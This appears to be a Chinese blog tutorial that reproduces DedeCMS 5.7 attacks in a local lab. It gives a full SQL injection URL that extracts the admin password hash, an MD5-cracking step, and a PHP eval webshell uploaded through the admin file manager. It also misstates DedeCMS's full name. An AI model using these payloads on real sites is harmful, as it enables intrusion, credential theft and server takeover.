DedeCMS织梦5.7 SQL注入+文件上传复现:环境搭建+渗透实战

目录

一、DedeCMS织梦5.7简介

[1、会员组查询 SQL 注入](#1、会员组查询 SQL 注入)

2、后台文件管理器文件上传

二、环境搭建

1、服务配置

2、DedeCMS安装

3、访问DedeCMS

(1)网站首页:

(2)管理后台

三、SQL注入渗透

1、SQL注入

(1)字符串逃逸与逻辑注入 (\' or mid=@``)

(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)

[(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))](#@__admin limit 0,1)))

(4)注释掉原SQL语句 (#@'+))

2、md5解密

四、文件上传

1、管理员登录

2、上传木马

3、访问木马


本文讲解织梦DedeCMS框架5.7版本的SQL注入+文件上传的渗透复现过程,包括从搭建环境到渗透实践的整个流程。

一、DedeCMS织梦5.7简介

DedeCMS(全称:Destoon Content Management System,中文常称 "织梦 CMS")是一款由中国开发者团队开发的开源内容管理系统(CMS),专注于为企业网站、个人博客、资讯门户、电商网站等场景提供快速建站解决方案,曾是国内使用范围最广的 CMS 系统之一。DedeCMS5.7存在如下两个安全风险。

1、会员组查询 SQL 注入

  • 文件路径:member/ajax_membergroup.php
  • 该文件用于处理会员组相关的 AJAX 请求,其中对用户传入的groupid参数处理不当,导致 SQL 注入。

2、后台文件管理器文件上传

  • 文件路径:dede/file_manage_control.php(负责处理文件上传的核心逻辑)
  • 仅通过文件后缀名判断是否允许上传,未结合文件内容校验。默认允许.htm.html等类型,攻击者可将webshell.php伪装为webshell.php.htm绕过检测。

二、环境搭建

本部分搭建DedeCMS5.7版本复现SQL注入和文件上传,具体如下所示。

1、服务配置

在开始安装之前,请确保您的服务器或本地开发环境满足开启Web服务和数据库服务。首本文使用PHPStudy工具开启Apache+MySQL服务,如下所示。

这里需要特别注意的是由于本文实验室用的是DedeCMS织梦5.7版本,PHP版本不可以过高,否则会访问网站失败,本文选择php5.2.17,具体操作为网站-管理-php版本,如下所示。

2、DedeCMS安装

将下载的DedeCMS5.7网站源码压缩包解压,你会看到通常包含多个文件和文件夹,其中 uploads 文件夹内的内容才是需要上传到网站根目录的程序文件。这里为了方便,我直接将源码目录统一放到www根目录下,如下所示。注意将源码目录名修改为DedeCMS,进入DedeCMS目录后,存在如下两个文件夹docs和uploads。

在浏览器中访问http://127.0.0.1/DedeCMS/uploads即会被重定向到安装界面,此时URL变为

http://127.0.0.1/DedeCMS/uploads/install/index.php,具体如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads

安装程序会自动检查服务器环境是否符合要求。请确保所有项目都为 "√""符合"

接下来是最关键的参数配置,特别注意需要配置如下两项参数。

  • 数据库用户 :填写你的MySQL用户名(以本机环境为例:root)。

  • 数据库密码:填写对应用户的MySQL密码(以本机环境为例:root)。

  • 网站管理员帐号 :设置一个后台管理员的用户名(默认是 admin,建议修改)。

  • 密码 :设置一个非常强壮的后台登录密码(我这里选择默认的admin)。

所有参数填写无误后,点击"继续",系统会自动创建数据表并导入初始数据,此时提示安装成功,如下所示。

3、访问DedeCMS

(1)网站首页:

点击访问网站首页,即进入DedeCMS的首页,具体如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/index.php

(2)管理后台

点击登录后台,此时进入管理账户"登录网站后台"的页面,输入你刚才设置的管理员账号和密码即可登录。

复制代码
http://127.0.0.1/DedeCMS/uploads/dede/login.php

三、SQL注入渗透

1、SQL注入

通过构造payload获取网站后台管理员账户密码,完整内容如下所示。

复制代码
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878

通过精心构造的HTTP请求,利用PHP全局变量($_FILES)和字符串逃逸技巧,最终在数据库执行任意SQL命令,完整的URL如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878 

核心攻击载荷在 _FILES[type][tmp_name] 参数中,先对URL解码一次(注意:%27是单引号'%20是空格,%23是井号#),解码后内容如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?
action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=6878
(1)字符串逃逸与逻辑注入 (\' or mid=@``)
  • \':这是一个转义的单引号。在PHP处理请求参数时,如果magic_quotes_gpc设置为On(老版本PHP的默认安全设置),它会在单引号前加反斜杠\进行转义,试图阻止SQL注入。这里的\'就是为了应对这个设置。

  • or mid=@``:这是注入的关键逻辑。它试图闭合程序原本的SQL查询语句,并添加一个永真条件。

    • 假设程序原本的查询可能是:$sql = "SELECT * FROM ... WHERE aid = '$aid' AND ...";

    • 注入后,SQL语句变为:... WHERE aid = '1' AND ... \' or mid=@` ...

    • mid=@````是一个无效的表达式,但其目的是利用反引号 ````` `` 和转义符 \ 来混乱SQL解析,最终目的是为了引入后面的UNION查询。

(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)
  • /*!50000union*//*!50000select*/:这是MySQL内联注释的一种特殊用法。

    • /*!50000 ... */ 表示如果MySQL服务器版本大于等于5.00.00,注释中的内容就会被当作普通SQL执行。

    • 这种写法常用于绕过简单的Web应用防火墙(WAF)或代码过滤 。因为一些简单的过滤规则可能会匹配 union select,但不会匹配被注释分隔开的 unionselect。而对于MySQL来说,这完全等同于 union select

(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))
  • CONCAT(0x7c,userid,0x7c,pwd):这是攻击的目标。

    • 0x7c 是十六进制,代表竖线字符 |

    • useridpwd 是DedeCMS管理员表 #@__admin 中的字段,分别存储管理员用户名和MD5加密的密码。

    • 这个语句的作用是将查询结果拼接成 |admin|5f4dcc3b5aa765d61d8327deb882cf99 这样的格式,便于在返回结果中识别。

  • from #@__admin``:#@__admin 是DedeCMS的表前缀占位符。在程序实际执行时,会被替换成配置的前缀,例如 dede_admin。攻击者利用程序这一特性,无需知道真实表名。

  • limit 0,1:只取第一条记录(通常是超级管理员)。

(4)注释掉原SQL语句 (#@'+)
  • #:这是MySQL的单行注释符。它之后的所有内容都会被数据库忽略

  • 攻击者用 # 注释掉了原始SQL查询的剩余部分,确保注入的UNION查询能正确执行而不会受到后面原有SQL代码的语法干扰。

  • @'+ 这些字符在注释之后,已经没有实际意义,只是为了符合之前混乱的语法结构,保证整个Payload能正确解析。

如下所示,SQL注入渗透成功,UNION查询将管理员密码的MD5值作为结果集的一部分返回给页面,获取到admin|f297a57a5a743894a0e4。

2、md5解密

登录somd5,MD5免费在线解密破解_MD5在线加密-SOMD5 ,对加密值解密,输入加密后的f297a57a5a743894a0e4,如下可知解密后为admin。即用户名admin,密码admin,其实这就是搭建环境时设置的管理员用户名和密码。

四、文件上传

1、管理员登录

进入后台页面登录,输入管理员账户admin和密码admin如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/dede/login.php 

2、上传木马

依次点击页面的左侧边栏(模块)-文件管理器-文件上传,如下图红框所示。

上传木马,脚本内容为<?php @eval($_POST[ljn]); ?>,含义如下所示。

  • eval():PHP 中的一个危险函数,作用是将传入的字符串当作 PHP 代码执行。
  • $_POST[ljn]:获取客户端通过 POST 方法提交的、名为 ljn 的参数值。

点击上传后提示 ljn_post.php木马被上传到网站的uploads目录下,故而木马的URL地址如下所示。

复制代码
http://127.0.0.1/DedeCMS/uploads/ljn_post.php

3、访问木马

网页端访问木马,post的数据填写ljn=phpinfo();如下所示渗透成功,获取到网站的php服务信息。

复制代码
木马地址:http://127.0.0.1/DedeCMS/uploads/ljn_post.php
密码:ljn
相关推荐
一叶飘零_sweeeet3 天前
Java 17 异步多线程视频上传实战
java·文件上传
EndingCoder16 天前
Node.js 常见安全漏洞防范
node.js·sql注入·安全漏洞·csrf防护·ai内容安全
belldeep22 天前
网络安全:SQL 注入:SQLmap
web安全·sql注入·sqlmap
沐矢羽1 个月前
upload文件上传漏洞浅析
学习·web安全·网络安全·文件上传·top10
奥尔特星云大使1 个月前
Pikachu-国产轻量化 Web 漏洞靶场
信息安全·sql注入·web漏洞
希望奇迹很安静1 个月前
DVWA靶场通关笔记
web安全·网络安全·ctf·文件上传
-曾牛1 个月前
深入浅出 SQL 注入
网络·sql·安全·网络安全·渗透测试·sql注入·盲注
Whoami!2 个月前
5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi
网络安全·信息安全·sql注入·oscp
kali-Myon2 个月前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含